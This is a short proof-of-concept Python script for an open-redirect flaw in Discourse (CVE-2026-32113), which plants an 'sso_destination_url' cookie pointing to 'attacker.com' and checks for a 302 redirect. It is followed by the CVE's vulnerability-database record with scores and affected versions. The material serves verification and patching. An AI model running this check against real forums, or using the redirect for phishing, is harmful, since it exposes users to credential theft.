CVE-2026-32113

# PoC for CVE-2026-32113 # Demonstrates Open Redirect via cookie manipulation import requests target = "http://discourse-instance.com" malicious_site = "http://attacker.com" # The vulnerable endpoint is usually /enter url = f"{target}/enter" # Set the malicious cookie cookies = { "sso_destination_url": malicious_site } try: # Send request with the malicious cookie r = requests.get(url, cookies=cookies, allow_redirects=False) if r.status_code == 302: location = r.headers.get('Location') if malicious_site in location: print(f"[+] Vulnerability Confirmed! Redirecting to: {location}") else: print(f"[-] Redirecting to unexpected location: {location}") else: print(f"[-] Expected 302 Redirect, got {r.status_code}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-32113", "sourceIdentifier": "[email protected]", "published": "2026-03-31T18:16:49.363", "lastModified": "2026-04-03T12:45:30.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, the enter action in StaticController reads the sso_destination_url cookie and redirects to it with allow_other_host: true without validating the destination URL. While this cookie is normally set during legitimate DiscourseConnect Provider flows with cryptographically validated SSO payloads, cookies are client-controlled and can be set by attackers. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.3", "matchCriteriaId": "F64DA8FA-BC32-4EB9-B508-6425684D3245"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.2", "matchCriteriaId": "26546710-17B3-4C72-930F-3BE0AD969127"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest.1:*:*:*", "matchCriteriaId": "DFA536C2-E9D9-4A03-89C2-C344DE682EA1"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/commit/080408b93d00305b51d71f63f755f43fa601884d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/security/advisories/GHSA-378j-ccw4-4fwh", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://meta.discourse.org/t/using-discourse-as-a-sso-provider/32974", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://meta.discourse.org/t/use-discourse-as-an-identity-provider-sso-discourseconnect/32974", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Product"]}]}}